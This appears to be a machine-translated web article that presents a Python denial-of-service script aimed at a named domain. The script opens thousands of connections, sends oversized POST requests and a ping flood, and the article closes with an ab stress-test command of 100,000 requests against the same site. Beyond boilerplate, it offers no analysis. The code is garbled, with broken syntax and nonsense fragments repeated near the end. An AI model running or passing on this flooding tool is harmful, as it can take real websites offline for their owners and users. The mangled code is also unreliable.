Example Analysis of dos attack script
Editor to share with you the example analysis of the dos attack script, I believe that most people do not know much about it, so share this article for your reference, I hope you can learn a lot after reading this article, let's go to know it!
#! / usr/bin/env pythonimport socketimport timeimport threading#Pressure Test,ddos tool#--MAX_CONN=20000PORT=80HOST= "www.zhaihongyu.tech" # enter the other IP or domain name in double quotation marks Make sure he is connected or turned on .page = "index.php" #-buf= ("POST% s HTTP/1.1\ r\ n"Host:% s\ r\ n"Content-Length: 10000000\ r\ n"Cookie: dklkt_dos_test\ r\ n"\ r\ n"% (PAGE) HOST)) import osos.system ("ping-n 100-l 100" + HOST) socks= [] def ddos (): s=socket.socket (socket.AF_INET,socket.SOCK_STREAM) while 1: s.connect ((HOST,PORT)) s.send (buf.encode ()) s.send (buf.encode ()) s.send (buf.encode () def conn_thread (): global socks for i in range (0) MAX_CONN: s=socket.socket (socket.AF_INET,socket.SOCK_STREAM) try: s.connect ((HOST,PORT)) s.send (buf.encode ()) print ("Send buf OK! Conn=%d\ n "% I) socks.append (s) except Exception as ex: print (" Could not connect to server or send error:%s "% ex) time.sleep (0.1) # end def def send_thread (): global socks while True: for s in socks: try: s.send (" f ".encode () # print "send OK!" Except Exception as ex: print ("Send Exception:%s\ n"% ex) socks.remove (s) s.close () time.sleep (0.1) # end def conn_th=threading.Thread (target=conn_thread,args= ()) send_th=threading.Thread (target=send_thread,args= () conn_th.start () send_th.start () ddos () s=socket.socket (socket.AF_INET Socket.SOCK_STREAM) while 1: s.connect ((HOST,PORT)) s.send (buf.encode ()) print ("Send buf OK1: s.connect ((HOST)) PORT)) s.send (buf.encode ()) print ("Send buf Oklahoma lens connexion% d\ n"% I) while 1: s.connect ((HOST) PORT)) s.send (buf.encode ()) print ("Send buf Oklahoma lens connexion% d\ n"% I) while 1: s.connect ((HOST) PORT)) s.send (buf.encode ()) print ("Send buf Oklahoma lens connexion% d\ n"% I) while 1: s.connect ((HOST) PORT)) s.send (buf.encode ()) print ("Send buf Oklahoma lens connexion% d\ n"% I) while 1: s.connect ((HOST) PORT)) s.send (buf.encode ()) print ("Send buf Oklahoma science science connexion% d\ n"% I)
Then use the ab command to pressure its server ab command: tools for stress testing and performance monitoring tools syntax: total number of links to be generated by ab-n-c number of clients opened at the same time http:// links
Ab-n 100000-c 200 http://www.zhaihongyu.tech/index.php and above are all the contents of this article "sample Analysis of dos attack scripts". Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!